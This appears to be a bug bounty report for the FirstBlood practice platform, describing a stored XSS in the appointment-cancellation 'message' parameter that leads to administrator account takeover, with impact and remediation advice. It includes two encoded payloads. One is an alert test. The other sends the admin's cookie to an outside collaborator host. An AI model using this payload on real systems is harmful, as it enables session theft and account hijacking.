FirstBlood-#208 — [COLLAB] Stored XSS on message param through appointment annulation allow admin ATO
This issue was discovered on FirstBlood v1
On 2021-05-12, jomar Level 4 reported:
Description
Hello :)
With my friend Serizao we have found a way to get an XSS (Cross-Site Scritping) stored through the message parameter when an appointment is cancelled.
According to OWASP : Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user
When a user creates an appointment he/she receives a unique identifier allowing him/her to manage his/her reservation
- Modify the message
- Cancel the reservation
When cancelling, the message parameter is not present and on the administration interface, it is possible to see the message if it has been filled in before.
Although we have already identified in report #46 the possibility of modifying another user's message, when modifying a message using this technique, the injected characters are correctly filtered.
However, when a user cancels their own booking, they may deliberately add the message parameter to add a payload at that time which will then not be filtered!
For the construction of the payload we used the same basis as for the XSS stored in fname with For the construction of the payload we used the same basis as for the XSS stored in fname with
">a%3<<a>style><<a>iframe/srcdoc="{encoded part}>`
This makes it possible to obtain the famous alert box on the administration interface
Payload :
">a%3<<a>style><<a>iframe/srcdoc="%26%6c%74%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%67%74%3b%26%23%78%36%31%3b%26%23%78%36%43%3b%26%23%78%36%35%3b%26%23%78%37%32%3b%26%23%78%37%34%3b%26%6c%70%61%72%3b%26%23%78%33%31%3b%26%72%70%61%72%3b%26%6c%74%3b%26%73%6f%6c%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%67%74%3b>
We also observed that the cookie is not protected by the HttpOnly flag, which makes it vulnerable to being recovered with an XSS and passed on to the attacker.
So we adapted the payload to send the cookie to a remote server to reuse it and log in as an administrator.
Payload :
">a%3<<a>style><<a>iframe/srcdoc="%26%6c%74%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%67%74%3b%26%23%78%37%37%3b%26%23%78%36%39%3b%26%23%78%36%45%3b%26%23%78%36%34%3b%26%23%78%36%46%3b%26%23%78%37%37%3b%26%70%65%72%69%6f%64%3b%26%23%78%36%43%3b%26%23%78%36%46%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%37%34%3b%26%23%78%36%39%3b%26%23%78%36%46%3b%26%23%78%36%45%3b%26%65%71%75%61%6c%73%3b%26%61%70%6f%73%3b%26%23%78%36%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%63%6f%6c%6f%6e%3b%26%73%6f%6c%3b%26%73%6f%6c%3b%26%23%78%33%36%3b%26%23%78%36%44%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%33%31%3b%26%23%78%36%36%3b%26%23%78%37%33%3b%26%23%78%36%38%3b%26%23%78%36%35%3b%26%23%78%37%38%3b%26%23%78%36%43%3b%26%23%78%36%46%3b%26%23%78%36%39%3b%26%23%78%36%46%3b%26%23%78%36%41%3b%26%23%78%36%38%3b%26%23%78%36%32%3b%26%23%78%36%41%3b%26%23%78%36%33%3b%26%23%78%36%46%3b%26%23%78%33%37%3b%26%23%78%37%32%3b%26%23%78%37%38%3b%26%23%78%37%39%3b%26%23%78%33%38%3b%26%23%78%37%30%3b%26%23%78%36%35%3b%26%23%78%36%37%3b%26%23%78%33%32%3b%26%23%78%33%35%3b%26%70%65%72%69%6f%64%3b%26%23%78%36%32%3b%26%23%78%37%35%3b%26%23%78%37%32%3b%26%23%78%37%30%3b%26%23%78%36%33%3b%26%23%78%36%46%3b%26%23%78%36%43%3b%26%23%78%36%43%3b%26%23%78%36%31%3b%26%23%78%36%32%3b%26%23%78%36%46%3b%26%23%78%37%32%3b%26%23%78%36%31%3b%26%23%78%37%34%3b%26%23%78%36%46%3b%26%23%78%37%32%3b%26%70%65%72%69%6f%64%3b%26%23%78%36%45%3b%26%23%78%36%35%3b%26%23%78%37%34%3b%26%73%6f%6c%3b%26%71%75%65%73%74%3b%26%23%78%36%33%3b%26%23%78%36%46%3b%26%23%78%36%46%3b%26%23%78%36%42%3b%26%23%78%36%39%3b%26%23%78%36%35%3b%26%23%78%37%33%3b%26%65%71%75%61%6c%73%3b%26%61%70%6f%73%3b%26%70%6c%75%73%3b%26%6c%70%61%72%3b%26%23%78%36%34%3b%26%23%78%36%46%3b%26%23%78%36%33%3b%26%23%78%37%35%3b%26%23%78%36%44%3b%26%23%78%36%35%3b%26%23%78%36%45%3b%26%23%78%37%34%3b%26%70%65%72%69%6f%64%3b%26%23%78%36%33%3b%26%23%78%36%46%3b%26%23%78%36%46%3b%26%23%78%36%42%3b%26%23%78%36%39%3b%26%23%78%36%35%3b%26%72%70%61%72%3b%26%73%65%6d%69%3b%26%6c%74%3b%26%73%6f%6c%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%67%74%3b>
Impact
- Phishing: Rewriting the DOM of the page or redirecting the victim to a malicious site;
- Bypassing CSRF: XSS makes the CSRF protections useless, so it is possible to perform unintentional actions on the user's account;
- Trap the victim's browser.
- But most importantly, as demonstrated here, it is possible to steal a cookie from the administrator
Remediation
- The content type must be set to
text/plain
in order to avoid the execution of possible injection. It is however advised to use JSON as exchange format. If necessary the content-type should be set to application/json
.
- Filter user entries. Use a white list of allowed characters if necessary and not a black list.
- Rely on the filtering mechanisms of the framework used and make sure it does not have any known vulnerability and/or use libraries such as DOMPurify
- Use a WAF to mitigate some XSS and make them more difficult to use.
- In order to avoid that the attacker injects special characters into the execution of the javascript code, it is recommended to use HTMLEntities everywhere, so that the context change is impossible.
P1 CRITICAL
Endpoint: /api/ma.php
Parameter: message=
Payload: ">a%3<<a>style><<a>iframe/srcdoc="{encoded part}>
FirstBlood ID: 8
Vulnerability Type: Stored XSS
When cancelling an appointment, an attacker can add a malicious XSS payload that will execute against administrators/doctors